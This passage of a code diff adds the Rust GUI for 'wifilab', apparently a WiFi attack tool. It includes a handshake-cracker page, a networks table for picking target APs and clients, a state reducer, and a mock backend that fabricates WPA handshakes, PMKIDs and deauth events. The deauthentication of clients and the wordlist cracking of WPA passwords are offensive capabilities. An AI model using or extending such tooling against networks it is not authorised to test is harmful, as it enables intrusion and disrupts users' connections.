232+ .child(
233+ h_stack()
234+ .items_center()
235+ .gap_3()
236+ .child(h3("Handshake Cracker"))
237+ .child(small("PBKDF2-SHA1 · WPA/WPA2")),
238+ )
239+ .child(
240+ h_stack()
241+ .gap_3()
242+ .items_end()
243+ .child(div().w(px(360.)).child(app.target_select.clone()))
244+ .child(
245+ div()
246+ .w(px(360.))
247+ .child(
248+ text_field(&app.wordlist_input, cx)
249+ .placeholder("/path/to/wordlist")
250+ .full_width(true),
251+ ),
252+ )
253+ .child(text(backend_label(app.is_mock)).small().muted()),
254+ )
255+ .child(
256+ h_stack()
257+ .gap_3()
258+ .items_center()
259+ .child(
260+ button("btn-crack-start", "Start")
261+ .disabled(running || crack_blocked)
262+ .on_click({
263+ let view = view.clone();
264+ move |_, window, cx| start(&view, window, cx)
265+ }),
266+ )
267+ .child(
268+ button("btn-crack-stop", "Stop")
269+ .destructive()
270+ .disabled(!running)
271+ .on_click({
272+ let view = view.clone();
273+ move |_, window, cx| stop(&view, window, cx)
274+ }),
275+ )
276+ .when(running, |el| el.child(loading_indicator().small()))
277+ .when(crack_blocked, |el| {
278+ el.child(small(if app.state.iface_running {
279+ "stop capture first — cracker needs the radio"
280+ } else {
281+ "start then stop capture to enable the cracker"
282+ }))
283+ }),
284+ )
285+ .child(gpuikit::elements::separator::separator())
286+ .child(
287+ h_stack()
288+ .gap_4()
289+ .child(small(format!("rate: {}", fmt_hps(if running { cracker.hps } else { 0.0 }))))
290+ .child(small(candidates))
291+ .child(
292+ small(if app.is_mock {
293+ format!("{:.1}%", frac * 100.0)
294+ } else {
295+ String::new()
296+ }),
297+ ),
298+ )
299+ .child(progress(frac as f32).width(px(520.)));
300+
301+ if let Some(found) = &cracker.found {
302+ page = page.child(
303+ h_stack()
304+ .gap_3()
305+ .items_center()
306+ .w(px(520.))
307+ .p_3()
308+ .rounded_md()
309+ .bg(theme.warning())
310+ .text_color(theme.bg())
311+ .child(text(format!("PASSWORD FOUND: {found}")).bold())
312+ .into_any_element(),
313+ );
314+ }
315+
316+ page
317+}
src/ui/log.rsadded+52 -0
@@ -0,0 +1,52 @@
1+//! Log page: scrolling monospace view of the backend event log, newest
2+//! entries first.
3+
4+use gpui::{Context, Entity, ParentElement, Styled, Window};
5+use gpuikit::elements::scroll_area::scroll_area;
6+use gpuikit::elements::typography::{h3, small, text};
7+use gpuikit::layout::{h_stack, v_stack};
8+use gpuikit::theme::{ActiveTheme, Themeable};
9+
10+use crate::ui::app::AppRoot;
11+
12+pub fn render(
13+ app: &mut AppRoot,
14+ _view: &Entity<AppRoot>,
15+ _window: &mut Window,
16+ cx: &mut Context<AppRoot>,
17+) -> gpui::Div {
18+ let theme = cx.theme().clone();
19+
20+ let mut lines_view = v_stack().gap_0p5();
21+ if app.state.log.is_empty() {
22+ lines_view = lines_view.child(small("log is empty"));
23+ } else {
24+ for line in app.state.log.iter().rev() {
25+ lines_view = lines_view.child(text(line.clone()).code().small());
26+ }
27+ }
28+
29+ v_stack()
30+ .size_full()
31+ .gap_2()
32+ .p_4()
33+ .child(
34+ h_stack()
35+ .items_center()
36+ .gap_3()
37+ .child(h3("Log"))
38+ .child(small(format!("{} lines (newest first)", app.state.log.len()))),
39+ )
40+ .child(
41+ scroll_area("log-scroll")
42+ .vertical()
43+ .full_height(true)
44+ .child(
45+ lines_view
46+ .w_full()
47+ .p_2()
48+ .rounded_md()
49+ .bg(theme.surface_secondary()),
50+ ),
51+ )
52+}
src/ui/mock.rsadded+257 -0
@@ -0,0 +1,257 @@
1+//! Mock backend: fabricates the event stream the real radio/attack/cracker
2+//! threads will eventually produce. Delete this module — and the env-flag
3+//! branch in `run_app` — when the backend lands.
4+
5+use std::thread;
6+use std::time::{Duration, Instant};
7+
8+use crossbeam_channel::Sender;
9+
10+use crate::common::{
11+ AccessPoint, ClientInfo, Event, HandshakeCapture, MacAddr, PmkidCapture, Security,
12+};
13+
14+/// Salted deterministic PRNG (xorshift64) — no rand crate, values only need
15+/// to *look* like radio noise.
16+struct Rng(u64);
17+
18+impl Rng {
19+ fn next(&mut self) -> u64 {
20+ let mut x = self.0;
21+ x ^= x << 13;
22+ x ^= x >> 7;
23+ x ^= x << 17;
24+ self.0 = x;
25+ x
26+ }
27+
28+ /// Inclusive low, exclusive high.
29+ fn below(&mut self, high: u64) -> u64 {
30+ self.next() % high.max(1)
31+ }
32+}
33+
34+/// The mock interface, also what the header picker offers.
35+pub const MOCK_IFACE: &str = "wlp14s0";
36+
37+pub const MOCK_BSSID: MacAddr = MacAddr([0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff]);
38+
39+pub const MOCK_CLIENTS: [MacAddr; 4] = [
40+ MacAddr([0x11, 0x22, 0x33, 0x44, 0x55, 0x66]),
41+ MacAddr([0x22, 0x33, 0x44, 0x55, 0x66, 0x77]),
42+ MacAddr([0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
43+ MacAddr([0x44, 0x55, 0x66, 0x77, 0x88, 0x99]),
44+];
45+
46+fn seed_aps() -> Vec<AccessPoint> {
47+ let now = Instant::now();
48+ let ap = |mac: [u8; 6], ssid: &str, channel, security, rssi| AccessPoint {
49+ bssid: MacAddr(mac),
50+ ssid: ssid.to_string(),
51+ channel,
52+ security,
53+ rssi_dbm: rssi,
54+ beacons: 200,
55+ last_seen: now,
56+ };
57+ vec![
58+ ap([0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff], "parafin", 6, Security::Wpa2, -42),
59+ ap([0x02, 0x1a, 0x2b, 0x3c, 0x4d, 0x5e], "labnet", 1, Security::Wpa2, -55),
60+ ap([0x02, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e], "coffeeshop", 11, Security::Wpa2, -68),
61+ ap([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb], "corp-wpa3", 36, Security::Wpa3, -61),
62+ ap([0x02, 0xde, 0xad, 0xbe, 0xef, 0x00], "legacy-prn", 3, Security::Wep, -80),
63+ ap([0x02, 0x00, 0x11, 0x22, 0x33, 0x44], "open-wifi", 6, Security::Open, -72),
64+ ]
65+}
66+
67+fn seed_clients() -> Vec<ClientInfo> {
68+ let now = Instant::now();
69+ let cl = |mac: MacAddr, ap: MacAddr, rssi| ClientInfo {
70+ mac,
71+ ap: Some(ap),
72+ rssi_dbm: rssi,
73+ frames: 40,
74+ last_seen: now,
75+ };
76+ vec![
77+ cl(MOCK_CLIENTS[0], MOCK_BSSID, -44),
78+ cl(MOCK_CLIENTS[1], MOCK_BSSID, -51),
79+ cl(MOCK_CLIENTS[2], MacAddr([0x02, 0x1a, 0x2b, 0x3c, 0x4d, 0x5e]), -60),
80+ cl(MOCK_CLIENTS[3], MacAddr([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb]), -63),
81+ ]
82+}
83+
84+/// Deterministic filler byte for fabricated crypto material.
85+fn fill(byte: u64) -> u8 {
86+ (byte % 251) as u8
87+}
88+
89+/// Fabricate a syntactically valid-looking WPA1/WPA2 capture (dummy nonces,
90+/// dummy MIC, dummy M2 EAPOL frame). The cracker would reject these, but the
91+/// UI only displays and exports them.
92+pub fn fabricate_handshake(ap: MacAddr, client: MacAddr, essid: &str, salt: u64) -> HandshakeCapture {
93+ let mut anonce = [0u8; 32];
94+ let mut snonce = [0u8; 32];
95+ let mut mic = [0u8; 16];
96+ let mut rng = Rng(salt | 1);
97+ for i in 0..32 {
98+ anonce[i] = fill(rng.next() + i as u64);
99+ snonce[i] = fill(rng.next() + 7 * i as u64);
100+ }
101+ for i in 0..16 {
102+ mic[i] = fill(rng.next() + 11 * i as u64);
103+ }
104+ // EAPOL v1, type Key, 95-byte key descriptor + empty key data: laid out
105+ // so the exporter's MIC-field offset (81..97) lands inside real bytes.
106+ let mut eapol_m2 = vec![0u8; 4 + 95];
107+ eapol_m2[0] = 1; // EAPOL version
108+ eapol_m2[1] = 3; // type: Key
109+ eapol_m2[2] = 0;
110+ eapol_m2[3] = 95; // length
111+ eapol_m2[4] = 2; // descriptor: RSN
112+ eapol_m2[5] = 0x01; // key info: M2, pairwise, MIC set
113+ eapol_m2[6] = 0x0a;
114+ let mut rng = Rng(salt ^ 0x5a5a);
115+ for b in eapol_m2.iter_mut().skip(7) {
116+ *b = fill(rng.next());
117+ }
118+ // SNonce rides at key-descriptor offset 13 (EAPOL offset 17).
119+ eapol_m2[17..17 + 32].copy_from_slice(&snonce);
120+ // MIC field at EAPOL offset 81..97.
121+ eapol_m2[81..97].copy_from_slice(&mic);
122+ HandshakeCapture::new(ap, client, essid.to_string(), anonce, snonce, mic, eapol_m2, 2)
123+}
124+
125+/// Fabricate a PMKID capture against `ap`, impersonating `client`.
126+pub fn fabricate_pmkid(ap: MacAddr, client: MacAddr, essid: &str, salt: u64) -> PmkidCapture {
127+ let mut pmkid = [0u8; 16];
128+ let mut rng = Rng(salt ^ 0xa5a5);
129+ for b in &mut pmkid {
130+ *b = fill(rng.next());
131+ }
132+ PmkidCapture {
133+ ap,
134+ client,
135+ essid: essid.to_string(),
136+ pmkid,
137+ }
138+}
139+
140+/// Spawn the mock generator thread. Sends forever until the channel closes
141+/// (app exit) — error sends are simply dropped.
142+pub fn spawn_mock(tx: Sender<Event>) {
143+ thread::Builder::new()
144+ .name("wifilab-mock".into())
145+ .spawn(move || run(tx))
146+ .expect("mock thread");
147+}
148+
149+fn run(tx: Sender<Event>) {
150+ let _ = tx.send(Event::Log(format!(
151+ "mock: scanning on {MOCK_IFACE} (6 APs, 4 clients)"
152+ )));
153+
154+ let mut rng = Rng(0x9e37_79b9_7f4a_7c15);
155+ let mut aps = seed_aps();
156+ let mut clients = seed_clients();
157+ for ap in &aps {
158+ let _ = tx.send(Event::ApUpdated(ap.clone()));
159+ }
160+ for cl in &clients {
161+ let _ = tx.send(Event::ClientUpdated(cl.clone()));
162+ }
163+
164+ let started = Instant::now();
165+ let mut stage = 0usize;
166+ const LOG_LINES: &[&str] = &[
167+ "hop: ch 1 → ch 6",
168+ "probe request from 11:22:33:44:55:66 (\"labnet\")",
169+ "hop: ch 6 → ch 11",
170+ "beacon: corp-wpa3 on ch 36 (SAE)",
171+ "hop: ch 36 → ch 44",
172+ "data frame burst on parafin (297 fps)",
173+ "probe response coffeeshop (WPA2-PSK)",
174+ ];
175+
176+ loop {
177+ thread::sleep(Duration::from_millis(200));
178+ let t = started.elapsed().as_secs_f32();
179+ let now = Instant::now();
180+
181+ // RSSI drift + beacon/frame counters on every tick.
182+ for ap in &mut aps {
183+ ap.rssi_dbm = (ap.rssi_dbm + (rng.below(5) as i8 - 2)).clamp(-90, -30);
184+ ap.beacons += rng.below(3);
185+ ap.last_seen = now;
186+ let _ = tx.send(Event::ApUpdated(ap.clone()));
187+ }
188+ for cl in &mut clients {
189+ cl.rssi_dbm = (cl.rssi_dbm + (rng.below(3) as i8 - 1)).clamp(-90, -30);
190+ cl.frames += rng.below(12);
191+ cl.last_seen = now;
192+ let _ = tx.send(Event::ClientUpdated(cl.clone()));
193+ }
194+
195+ // Milestones, roughly one per few seconds.
196+ let milestone_at = |stage: usize| t >= [2.0, 5.0, 8.0, 9.0, 11.0, 14.0][stage];
197+ while stage < 4 && milestone_at(stage) {
198+ match stage {
199+ 0 => {
200+ let _ = tx.send(Event::Log(format!(
201+ "locking onto parafin ({MOCK_BSSID}, ch 6)"
202+ )));
203+ }
204+ 1 => {
205+ let _ = tx.send(Event::HandshakeProgress {
206+ ap: MOCK_BSSID,
207+ client: MOCK_CLIENTS[0],
208+ have: 0b0001,
209+ });
210+ }
211+ 2 => {
212+ let _ = tx.send(Event::HandshakeProgress {
213+ ap: MOCK_BSSID,
214+ client: MOCK_CLIENTS[0],
215+ have: 0b0011,
216+ });
217+ }
218+ 3 => {
219+ let cap =
220+ fabricate_handshake(MOCK_BSSID, MOCK_CLIENTS[0], "parafin", 0x1234_5678);
221+ let _ = tx.send(Event::HandshakeComplete(Box::new(cap)));
222+ stage += 1;
223+ break;
224+ }
225+ _ => unreachable!(),
226+ }
227+ stage += 1;
228+ }
229+
230+ if stage == 4 && t >= 14.0 {
231+ let cap = fabricate_pmkid(
232+ MacAddr([0x02, 0xff, 0xee, 0xdd, 0xcc, 0xbb]),
233+ MOCK_CLIENTS[3],
234+ "corp-wpa3",
235+ 0xdead_beef,
236+ );
237+ let _ = tx.send(Event::PmkidCaptured(cap));
238+ stage += 1;
239+ }
240+
241+ if stage >= 5 && (rng.next() % 20 == 0) {
242+ let _ = tx.send(Event::Log(format!(
243+ "{}",
244+ LOG_LINES[(rng.below(LOG_LINES.len() as u64)) as usize]
245+ )));
246+ }
247+
248+ // Occasionally nudge deauth stats so the log feels alive.
249+ if stage >= 5 && t > 20.0 && rng.next() % 40 == 0 {
250+ let _ = tx.send(Event::DeauthSent {
251+ ap: MOCK_BSSID,
252+ target: MOCK_CLIENTS[1],
253+ count: 8,
254+ });
255+ }
256+ }
257+}
src/ui/mod.rsadded+106 -0
@@ -0,0 +1,106 @@
1+//! GPUI + gpuikit shell for wifilab.
2+//!
3+//! `run_app` opens the window and wires the backend event channel. Today the
4+//! producer is the mock generator in [`mock`]; when the real
5+//! radiotap/dot11/scanner/attack/cracker threads land they take over the
6+//! `Sender` side and the UI changes nowhere else.
7+
8+mod app;
9+mod attacks;
10+mod cracker;
11+mod log;
12+mod mock;
13+mod networks;
14+pub mod state;
15+
16+use std::sync::Arc;
17+
18+use gpui::{
19+ App, AppContext, Application, Bounds, TitlebarOptions, WindowBounds, WindowOptions, px, size,
20+};
21+use gpuikit::theme::{GlobalTheme, Theme};
22+
23+/// Launch the UI. Blocks until the window closes.
24+///
25+/// `mock_flag` is the CLI `--mock` switch; combined with the legacy
26+/// `WIFILAB_MOCK` env var. The REAL backend is the default: `Backend` is
27+/// created lazily on the first "Start capture" click.
28+pub fn run_app(iface: Option<String>, mock_flag: bool) {
29+ let (tx, rx) = crossbeam_channel::unbounded();
30+
31+ // Mock mode: `--mock` flag or WIFILAB_MOCK=1 (any value except 0/false
32+ // counts as 1 when set). Default (neither set) is real mode.
33+ let env_mock = match std::env::var_os("WIFILAB_MOCK") {
34+ None => false,
35+ Some(v) => v != "0" && v != "false",
36+ };
37+ let is_mock = mock_flag || env_mock;
38+ if is_mock {
39+ mock::spawn_mock(tx.clone());
40+ }
41+
42+ // Interface picker choices: every wireless interface present, with the
43+ // CLI/default choice first (also the fallback when detection fails).
44+ let mut ifaces: Vec<String> = crate::iface::list_wifi_ifaces();
45+ if ifaces.is_empty() {
46+ ifaces.push("wlp14s0".to_string());
47+ }
48+ let selected = match iface {
49+ Some(cli) => {
50+ if !ifaces.contains(&cli) {
51+ ifaces.insert(0, cli.clone());
52+ }
53+ cli
54+ }
55+ None => ifaces[0].clone(),
56+ };
57+ if is_mock && !ifaces.iter().any(|i| i == mock::MOCK_IFACE) {
58+ ifaces.push(mock::MOCK_IFACE.to_string());
59+ }
60+
61+ Application::with_platform(gpui_platform::current_platform(false))
62+ .with_assets(gpuikit::assets())
63+ .run(move |cx: &mut App| {
64+ gpuikit::init(cx);
65+ cx.set_global(GlobalTheme(Arc::new(Theme::gruvbox_dark())));
66+
67+ let window = cx
68+ .open_window(
69+ WindowOptions {
70+ titlebar: Some(TitlebarOptions {
71+ title: Some("wifilab".into()),
72+ ..Default::default()
73+ }),
74+ window_bounds: Some(WindowBounds::Windowed(Bounds {
75+ origin: Default::default(),
76+ size: size(px(1280.0), px(760.0)),
77+ })),
78+ ..Default::default()
79+ },
80+ {
81+ let tx = tx.clone();
82+ let mut rx = Some(rx);
83+ move |window, cx| {
84+ cx.new(|cx| {
85+ app::AppRoot::new(
86+ window,
87+ cx,
88+ tx,
89+ rx.take().expect("single window"),
90+ is_mock,
91+ ifaces.clone(),
92+ selected.clone(),
93+ )
94+ })
95+ }
96+ },
97+ )
98+ .expect("open main window");
99+
100+ window
101+ .update(cx, |_app, _window, cx| {
102+ cx.activate(true);
103+ })
104+ .expect("activate main window");
105+ });
106+}
src/ui/networks.rsadded+294 -0
@@ -0,0 +1,294 @@
1+//! Networks page: sortable AP table, clients table, row-click target
2+//! selection.
3+
4+use std::time::Instant;
5+
6+use gpui::{Context, Entity, IntoElement, ParentElement, Styled, Window, div, px};
7+use gpuikit::elements::badge::badge;
8+use gpuikit::elements::table::{CellAlign, Column, Row, SortDirection, Table, table};
9+use gpuikit::elements::typography::{h3, small};
10+use gpuikit::layout::v_stack;
11+
12+use crate::common::{AccessPoint, ClientInfo, MacAddr, Security};
13+use crate::ui::app::AppRoot;
14+
15+const COL_BSSID: usize = 0;
16+const COL_SSID: usize = 1;
17+const COL_CH: usize = 2;
18+const COL_SEC: usize = 3;
19+const COL_RSSI: usize = 4;
20+const COL_BEACONS: usize = 5;
21+const COL_AGE: usize = 6;
22+
23+const CCOL_MAC: usize = 0;
24+const CCOL_AP: usize = 1;
25+const CCOL_RSSI: usize = 2;
26+const CCOL_FRAMES: usize = 3;
27+const CCOL_AGE: usize = 4;
28+
29+/// Human "last seen" age, e.g. `2s`, `5m`, `1h`.
30+pub fn age(last_seen: Instant) -> String {
31+ let s = last_seen.elapsed().as_secs();
32+ if s < 60 {
33+ format!("{s}s")
34+ } else if s < 3600 {
35+ format!("{}m", s / 60)
36+ } else {
37+ format!("{}h", s / 3600)
38+ }
39+}
40+
41+fn sec_badge(sec: Security) -> gpuikit::elements::badge::Badge {
42+ match sec {
43+ Security::Open => badge(sec.label()).outline(),
44+ Security::Wep => badge(sec.label()).destructive(),
45+ Security::Wpa | Security::Wpa2 => badge(sec.label()),
46+ Security::Wpa3 => badge(sec.label()).secondary(),
47+ }
48+}
49+
50+fn sorted_aps(app: &AppRoot) -> Vec<AccessPoint> {
51+ let mut rows: Vec<AccessPoint> = app.state.aps.values().cloned().collect();
52+ if let Some(sort) = app.ap_sort {
53+ let ord = |l: &AccessPoint, r: &AccessPoint| match sort.column {
54+ COL_BSSID => l.bssid.cmp(&r.bssid),
55+ COL_SSID => l.ssid.cmp(&r.ssid).then_with(|| l.bssid.cmp(&r.bssid)),
56+ COL_CH => l.channel.cmp(&r.channel),
57+ COL_SEC => l.security.label().cmp(r.security.label()),
58+ COL_RSSI => l.rssi_dbm.cmp(&r.rssi_dbm),
59+ COL_BEACONS => l.beacons.cmp(&r.beacons),
60+ COL_AGE => l.last_seen.cmp(&r.last_seen).reverse(), // newest = 0s first
61+ _ => std::cmp::Ordering::Equal,
62+ };
63+ rows.sort_by(|l, r| match sort.direction {
64+ SortDirection::Ascending => ord(l, r),
65+ SortDirection::Descending => ord(l, r).reverse(),
66+ });
67+ }
68+ rows
69+}
70+
71+fn sorted_clients(app: &AppRoot) -> Vec<ClientInfo> {
72+ let mut rows: Vec<ClientInfo> = app.state.clients.values().cloned().collect();
73+ if let Some(sort) = app.client_sort {
74+ let ord = |l: &ClientInfo, r: &ClientInfo| match sort.column {
75+ CCOL_MAC => l.mac.cmp(&r.mac),
76+ CCOL_AP => l.ap.cmp(&r.ap),
77+ CCOL_RSSI => l.rssi_dbm.cmp(&r.rssi_dbm),
78+ CCOL_FRAMES => l.frames.cmp(&r.frames),
79+ CCOL_AGE => l.last_seen.cmp(&r.last_seen).reverse(),
80+ _ => std::cmp::Ordering::Equal,
81+ };
82+ rows.sort_by(|l, r| match sort.direction {
83+ SortDirection::Ascending => ord(l, r),
84+ SortDirection::Descending => ord(l, r).reverse(),
85+ });
86+ }
87+ rows
88+}
89+
90+fn ap_table(app: &AppRoot, view: &Entity<AppRoot>) -> Table<AccessPoint> {
91+ let selected = app.selected;
92+ let rows = sorted_aps(app)
93+ .into_iter()
94+ .map(|ap| {
95+ let bssid = ap.bssid;
96+ let view = view.clone();
97+ Row::new(ap).selected(selected == Some(bssid)).on_click(
98+ move |_window, cx| {
99+ view.update(cx, |app, cx| {
100+ app.selected = Some(bssid);
101+ app.selected_client = None;
102+ app.state.push_log(format!("target selected: {bssid}"));
103+ cx.notify();
104+ });
105+ },
106+ )
107+ })
108+ .collect::<Vec<_>>();
109+
110+ table("networks-aps")
111+ .column(
112+ Column::new("BSSID", |ap: &AccessPoint, _w, _cx| {
113+ div().child(ap.bssid.to_string()).into_any_element()
114+ })
115+ .sortable()
116+ .min_width(px(150.)),
117+ )
118+ .column(
119+ Column::new("SSID", |ap: &AccessPoint, _w, _cx| {
120+ div().child(ap.ssid.clone()).into_any_element()
121+ })
122+ .sortable()
123+ .flex(2.0)
124+ .min_width(px(120.)),
125+ )
126+ .column(
127+ Column::new("CH", |ap: &AccessPoint, _w, _cx| {
128+ div().child(ap.channel.to_string()).into_any_element()
129+ })
130+ .sortable()
131+ .fixed(px(60.))
132+ .end(),
133+ )
134+ .column(
135+ Column::new("SEC", |ap: &AccessPoint, _w, _cx| {
136+ sec_badge(ap.security).into_any_element()
137+ })
138+ .sortable()
139+ .fixed(px(110.))
140+ .align(CellAlign::Center),
141+ )
142+ .column(
143+ Column::new("RSSI", |ap: &AccessPoint, _w, _cx| {
144+ div()
145+ .child(format!("{} dBm", ap.rssi_dbm))
146+ .into_any_element()
147+ })
148+ .sortable()
149+ .fixed(px(90.))
150+ .end(),
151+ )
152+ .column(
153+ Column::new("BEACONS", |ap: &AccessPoint, _w, _cx| {
154+ div().child(ap.beacons.to_string()).into_any_element()
155+ })
156+ .sortable()
157+ .fixed(px(100.))
158+ .end(),
159+ )
160+ .column(
161+ Column::new("AGE", |ap: &AccessPoint, _w, _cx| {
162+ div().child(age(ap.last_seen)).into_any_element()
163+ })
164+ .sortable()
165+ .fixed(px(70.))
166+ .end(),
167+ )
168+ .rows(rows)
169+ .sorted_by(app.ap_sort)
170+ .on_sort({
171+ let view = view.clone();
172+ move |request, _window, cx| {
173+ view.update(cx, |app, cx| {
174+ app.ap_sort = Some(request.suggested());
175+ cx.notify();
176+ });
177+ }
178+ })
179+ .max_h(px(340.))
180+ .empty("No access points heard yet — is capture running?")
181+}
182+
183+fn client_table(app: &AppRoot, view: &Entity<AppRoot>) -> Table<ClientInfo> {
184+ let rows = sorted_clients(app)
185+ .into_iter()
186+ .map(|cl| {
187+ // Clicking a client selects the (AP, client) pair: its AP
188+ // becomes the target and the client is remembered for deauth.
189+ let ap = cl.ap;
190+ let mac = cl.mac;
191+ let view = view.clone();
192+ Row::new(cl)
193+ .selected(app.selected_client == Some(mac))
194+ .on_click(move |_window, cx| {
195+ view.update(cx, |app, cx| {
196+ if let Some(ap) = ap {
197+ app.selected = Some(ap);
198+ app.selected_client = Some(mac);
199+ app.state
200+ .push_log(format!("target selected: {ap} (client {mac})"));
201+ cx.notify();
202+ }
203+ });
204+ })
205+ })
206+ .collect::<Vec<_>>();
207+
208+ table("networks-clients")
209+ .column(
210+ Column::new("MAC", |cl: &ClientInfo, _w, _cx| {
211+ div().child(cl.mac.to_string()).into_any_element()
212+ })
213+ .sortable()
214+ .min_width(px(150.)),
215+ )
216+ .column(
217+ Column::new("AP", |cl: &ClientInfo, _w, _cx| {
218+ div()
219+ .child(
220+ cl.ap
221+ .map(|ap: MacAddr| ap.to_string())
222+ .unwrap_or_else(|| "—".into()),
223+ )
224+ .into_any_element()
225+ })
226+ .sortable()
227+ .min_width(px(150.)),
228+ )
229+ .column(
230+ Column::new("RSSI", |cl: &ClientInfo, _w, _cx| {
231+ div()
232+ .child(format!("{} dBm", cl.rssi_dbm))
233+ .into_any_element()
234+ })
235+ .sortable()
236+ .fixed(px(90.))
237+ .end(),
238+ )
239+ .column(
240+ Column::new("FRAMES", |cl: &ClientInfo, _w, _cx| {
241+ div().child(cl.frames.to_string()).into_any_element()
242+ })
243+ .sortable()
244+ .fixed(px(90.))
245+ .end(),
246+ )
247+ .column(
248+ Column::new("AGE", |cl: &ClientInfo, _w, _cx| {
249+ div().child(age(cl.last_seen)).into_any_element()
250+ })
251+ .sortable()
252+ .fixed(px(70.))
253+ .end(),
254+ )
255+ .rows(rows)
256+ .sorted_by(app.client_sort)
257+ .on_sort({
258+ let view = view.clone();
259+ move |request, _window, cx| {
260+ view.update(cx, |app, cx| {
261+ app.client_sort = Some(request.suggested());
262+ cx.notify();
263+ });
264+ }
265+ })
266+ .max_h(px(220.))
267+ .empty("No client stations observed")
268+}
269+
270+pub fn render(app: &mut AppRoot, view: &Entity<AppRoot>, _window: &mut Window, _cx: &mut Context<AppRoot>) -> gpui::Div {
271+ v_stack()
272+ .size_full()
273+ .gap_3()
274+ .p_4()
275+ .child(
276+ gpuikit::layout::h_stack()
277+ .items_center()
278+ .gap_3()
279+ .child(h3("Access Points"))
280+ .child(small(format!(
281+ "{} networks — click a row to pick a target",
282+ app.state.aps.len()
283+ ))),
284+ )
285+ .child(ap_table(app, view))
286+ .child(
287+ gpuikit::layout::h_stack()
288+ .items_center()
289+ .gap_3()
290+ .child(h3("Clients"))
291+ .child(small(format!("{} stations", app.state.clients.len()))),
292+ )
293+ .child(client_table(app, view))
294+}
src/ui/state.rsadded+168 -0
@@ -0,0 +1,168 @@
1+//! Application state: the UI-side home for everything arriving over the
2+//! backend event channel. Backend swap-in keeps this type untouched.
3+
4+use std::collections::{BTreeMap, VecDeque};
5+
6+use crate::common::{AccessPoint, ClientInfo, Event, HandshakeCapture, MacAddr, PmkidCapture};
7+use crate::crypto::CrackTarget;
8+
9+/// Ring capacity of the on-screen log.
10+pub const LOG_CAP: usize = 500;
11+
12+/// Live status of the (currently simulated) handshake cracker.
13+#[derive(Default)]
14+pub struct CrackerState {
15+ /// Human description of the selected capture (see [`AppState::capture_descs`]).
16+ pub target: Option<String>,
17+ pub wordlist: Option<String>,
18+ pub running: bool,
19+ /// Guesses per second.
20+ pub hps: f64,
21+ /// Candidates tried so far.
22+ pub tried: u64,
23+ /// Recovered password, once found.
24+ pub found: Option<String>,
25+}
26+
27+/// Everything the window renders. Updated exclusively by
28+/// [`AppState::apply`] so a real backend can reuse the reduction logic.
29+pub struct AppState {
30+ /// Whether the interface is (pretending to be) capturing in monitor mode.
31+ pub iface_running: bool,
32+ pub ifname: String,
33+ pub aps: BTreeMap<MacAddr, AccessPoint>,
34+ pub clients: BTreeMap<MacAddr, ClientInfo>,
35+ pub handshakes: Vec<HandshakeCapture>,
36+ pub pmkids: Vec<PmkidCapture>,
37+ /// [`capture_descs`]-aligned crack targets: `capture_targets()[i]` is
38+ /// the [`CrackTarget`] described by `capture_descs()[i]`, so the
39+ /// cracker starts a run without re-parsing an hc22000 line.
40+ capture_targets: Vec<CrackTarget>,
41+ pub log: VecDeque<String>,
42+ pub cracker: CrackerState,
43+}
44+
45+impl AppState {
46+ pub fn new(ifname: &str) -> Self {
47+ AppState {
48+ iface_running: false,
49+ ifname: ifname.to_string(),
50+ aps: BTreeMap::new(),
51+ clients: BTreeMap::new(),
52+ handshakes: Vec::new(),
53+ pmkids: Vec::new(),
54+ capture_targets: Vec::new(),
55+ log: VecDeque::with_capacity(LOG_CAP),
56+ cracker: CrackerState::default(),
57+ }
58+ }
59+
60+ /// Crack target described by `capture_descs()[i]` (cloned — the cracker
61+ /// worker takes ownership).
62+ pub fn crack_target_at(&self, i: usize) -> Option<CrackTarget> {
63+ self.capture_targets.get(i).cloned()
64+ }
65+
66+ pub fn push_log(&mut self, line: impl Into<String>) {
67+ if self.log.len() == LOG_CAP {
68+ self.log.pop_front();
69+ }
70+ self.log.push_back(line.into());
71+ }
72+
73+ /// Reduce one backend event into state. Returns `true` when the set of
74+ /// crackable captures changed (callers rebuild dependent widgets).
75+ pub fn apply(&mut self, event: Event) -> bool {
76+ match event {
77+ Event::ApUpdated(ap) => {
78+ self.aps.insert(ap.bssid, ap);
79+ false
80+ }
81+ Event::ApLost(bssid) => {
82+ self.aps.remove(&bssid);
83+ false
84+ }
85+ Event::ClientUpdated(client) => {
86+ self.clients.insert(client.mac, client);
87+ false
88+ }
89+ Event::HandshakeProgress { ap, client, have } => {
90+ self.push_log(format!(
91+ "4-way {ap} → {client}: {}/4 messages",
92+ have.count_ones()
93+ ));
94+ false
95+ }
96+ Event::HandshakeComplete(cap) => {
97+ self.push_log(format!(
98+ "handshake captured: {} ({} ⇄ {})",
99+ cap.essid, cap.ap, cap.client
100+ ));
101+ self.capture_targets
102+ .push(CrackTarget::Handshake(cap.as_ref().clone()));
103+ self.handshakes.push(*cap);
104+ true
105+ }
106+ Event::PmkidCaptured(cap) => {
107+ self.push_log(format!("PMKID captured: {} ({})", cap.essid, cap.ap));
108+ self.capture_targets
109+ .push(CrackTarget::Pmkid(cap.clone()));
110+ self.pmkids.push(cap);
111+ true
112+ }
113+ Event::DeauthSent { ap, target, count } => {
114+ self.push_log(format!("deauth: {count} frames → {target} (AP {ap})"));
115+ false
116+ }
117+ Event::CrackProgress { done, hps } => {
118+ if self.cracker.running {
119+ self.cracker.tried = done;
120+ self.cracker.hps = hps;
121+ }
122+ false
123+ }
124+ Event::CrackFound { password } => {
125+ self.push_log(format!("PASSWORD FOUND: {password}"));
126+ self.cracker.found = Some(password);
127+ false
128+ }
129+ Event::CrackStopped { found } => {
130+ self.push_log(format!(
131+ "cracker: run ended ({})",
132+ if found { "password recovered" } else { "stopped/exhausted" }
133+ ));
134+ self.cracker.running = false;
135+ true // force dependent-widget refresh so the cracker page updates promptly
136+ }
137+ Event::Log(line) => {
138+ self.push_log(line);
139+ false
140+ }
141+ Event::Error(line) => {
142+ self.push_log(format!("ERROR: {line}"));
143+ false
144+ }
145+ }
146+ }
147+
148+ /// Stable, unique descriptions of every crackable capture — the cracker's
149+ /// target dropdown is fed with these (index prefix keeps duplicates
150+ /// apart).
151+ pub fn capture_descs(&self) -> Vec<String> {
152+ let mut out = Vec::with_capacity(self.handshakes.len() + self.pmkids.len());
153+ for (i, hs) in self.handshakes.iter().enumerate() {
154+ out.push(format!(
155+ "#{:02} HS {} {} ⇄ {} kv{}",
